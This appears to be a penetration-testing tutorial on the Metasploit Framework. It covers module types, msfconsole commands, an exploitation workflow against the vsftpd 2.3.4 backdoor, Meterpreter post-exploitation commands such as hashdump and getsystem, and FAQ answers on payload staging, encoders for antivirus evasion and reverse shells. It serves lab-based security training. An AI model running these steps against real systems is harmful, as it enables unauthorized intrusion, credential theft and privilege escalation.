GO KALI FREE
IntermediateTools

Metasploit Fundamentals: Exploitation Framework

Learn the Metasploit Framework from basics to exploitation, covering modules, payloads, meterpreter, and post-exploitation techniques.

#metasploit#exploitation#penetration testing#meterpreter#payloads

Why You Need Metasploit

You need to test whether a known vulnerability can be exploited against a target system — Metasploit provides the framework, exploits, payloads, and post-exploitation modules in one platform. It standardizes how exploits work, letting you focus on the target rather than building tools from scratch.

Prerequisites

  • Understanding of networking and common protocols
  • Knowledge of vulnerabilities and exploitation concepts
  • A lab environment with vulnerable targets
  • Written authorization for any target

    • Metasploit Architecture

    Exploit: Module that takes advantage of a vulnerability.

    Payload: Code that runs on the target after exploitation.

    Auxiliary: Modules for scanning, fuzzing, and information gathering.

    Encoder: Transforms payloads to evade detection.

    Post: Modules for post-exploitation activities.

    Installation

    sudo apt install metasploit-framework

    Starting Metasploit

    msfconsole
sudo systemctl start postgresql
msfdb init

    Basic msfconsole Commands

    help                          # Show available commands
search apache                 # Search for modules
use exploit/multi/handler     # Select a module
show options                  # Show module configuration
show payloads                 # List compatible payloads
set RHOSTS 192.168.1.100     # Set a target
set LHOST 10.0.0.5           # Set your IP
run                           # Execute the module
sessions -l                   # List active sessions
sessions -i 1                 # Interact with session 1

    Exploitation Workflow

    msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.1.100
msf6 > run

msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD cmd/unix/interact
msf6 > run

    {@visual metasploit-exploit-session}

    Meterpreter Basics

    meterpreter > sysinfo
meterpreter > getuid
meterpreter > ps
meterpreter > getsystem
meterpreter > hashdump
meterpreter > shell

    Common Mistakes

    Running without a database — initialize with msfdb init. Wrong payload selection — use show payloads. Firewall issues preventing reverse connections.

    Best Practices

    Use the database. Use resource scripts. Stage payloads. Practice in a lab.

    Related Tools

  • **Nmap**: Network discovery
  • **Searchsploit**: Local Exploit-DB search
  • **Veil**: Payload generator

    • Related Articles

  • [Nmap Beginner Tutorial](/articles/nmap-beginner-tutorial)
  • [Netcat Guide](/articles/netcat-guide)
  • [Ethical Hacking Fundamentals](/articles/ethical-hacking-fundamentals)

    • Summary

    Metasploit is the most comprehensive exploitation framework available. Key components include exploits, payloads, auxiliary modules, encoders, and the Meterpreter payload.

    Knowledge Check

  • What is the difference between staged and stageless payloads?
  • What does Meterpreter's `getsystem` command do?
  • Why use the database in Metasploit?
  • What is an encoder's purpose?
  • How do you search for modules?

    • References

    {@ref metasploit-docs}

    {@ref kali-tools}

    {@ref mitre-attack-enterprise}

    Frequently Asked Questions

    What is Metasploit Framework?

    Metasploit is an open-source exploitation framework by Rapid7 used for developing and executing exploits against target systems. It includes thousands of modules for exploits, payloads, auxiliary scanning, encoding, and post-exploitation.

    What is the difference between staged and stageless payloads?

    Staged payloads (like `windows/meterpreter/reverse_tcp`) send a small loader that downloads the full payload, helping evade size-based detection. Stageless payloads (like `windows/meterpreter_reverse_tcp`) contain the entire payload in one piece, which is larger but doesn't require a second connection.

    What does Meterpreter's getsystem command do?

    The `getsystem` command attempts to elevate privileges to SYSTEM using techniques like named pipe impersonation or token duplication. It tries multiple methods until one succeeds, giving you the highest privilege level on the target.

    Why should I use Metasploit's database?

    Running `msfdb init` starts PostgreSQL and creates a database that stores hosts, services, and credentials found during testing. This lets you run `db_nmap`, query results with `services`, and track findings across sessions without re-scanning.

    What is the purpose of an encoder in Metasploit?

    Encoders transform payloads to avoid signature-based detection by antivirus and IDS/IPS. They XOR or substitute bytes to produce unique output each time, but modern AV uses emulation to decode and detect them, so encoders alone are rarely sufficient.

    How do you search for modules in Metasploit?

    Use the `search` command followed by keywords like `search eternalblue` or `search type:exploit platform:windows smb`. Filter by type (`exploit`, `auxiliary`, `payload`), platform, or target service to find relevant modules.

    What is the difference between reverse and bind shells?

    A reverse shell (payload `reverse_tcp`) makes the target connect back to your listener, bypassing inbound firewall rules. A bind shell (`bind_tcp`) opens a port on the target you connect to, which is blocked by most firewalls and NAT.

    What is msfconsole?

    msfconsole is Metasploit's interactive command-line interface that provides access to all modules, the database, and scripting via resource scripts. It is the primary interface for running exploits, managing sessions, and interacting with Meterpreter.

    How do you handle a Meterpreter session?

    After exploitation, use `sessions -l` to list active sessions and `sessions -i 1` to interact with session 1. From Meterpreter, run `sysinfo` for system info, `getuid` for current user, `hashdump` for password hashes, and `shell` for a standard command prompt.

    What is a resource script in Metasploit?

    Resource scripts are text files containing msfconsole commands executed sequentially. Use them to automate repetitive tasks like scanning, exploitation workflows, or repeated setups with `msfconsole -r script.rc`.